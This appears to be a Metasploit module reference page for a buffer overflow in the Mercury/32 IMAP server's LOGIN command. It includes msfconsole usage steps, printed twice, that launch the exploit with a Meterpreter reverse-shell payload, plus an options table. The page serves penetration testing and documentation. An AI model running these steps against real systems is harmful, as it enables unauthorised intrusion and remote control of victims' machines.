Mercury/32 <= 4.01b LOGIN Buffer Overflow
This module exploits a stack buffer overflow in Mercury/32 <= 4.01b IMAPD LOGIN verb. By sending a specially crafted login command, a buffer is corrupted, and code execution is possible. This vulnerability was discovered by (mu-b at digit-labs.org).
Exploit Rank
- Average
Exploit Authors
- MC < mc [at] metasploit.com >
Vulnerability References
Exploit Targets
- 0 - Windows 2000 SP0-SP4 English (default)
- 1 - Windows XP Pro SP0/SP1 English
Exploit Development
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Exploit Usage Information
$ msfconsole
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msf > use exploit/windows/imap/mercury_login
msf exploit(mercury_login) > show payloads
msf exploit(mercury_login) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(mercury_login) > set LHOST [MY IP ADDRESS]
msf exploit(mercury_login) > set RHOST [TARGET IP]
msf exploit(mercury_login) > exploit
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msf > use exploit/windows/imap/mercury_login
msf exploit(mercury_login) > show payloads
msf exploit(mercury_login) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(mercury_login) > set LHOST [MY IP ADDRESS]
msf exploit(mercury_login) > set RHOST [TARGET IP]
msf exploit(mercury_login) > exploit
Exploit Module Options
| RHOST | The target address |
| RPORT | The target port (default: 143) |
| CHOST | The local client address |
| CPORT | The local client port |
| ConnectTimeout | Maximum number of seconds to establish a TCP connection |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EnableContextEncoding | Use transient context when encoding payloads |
| Proxies | Use a proxy chain |
| SSL | Negotiate SSL for outgoing connections |
| SSLVersion | Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| WfsDelay | Additional delay when waiting for a session |
| TCP::max_send_size | Maxiumum tcp segment size. (0 = disable) |
| TCP::send_delay | Delays inserted before every send. (0 = disable) |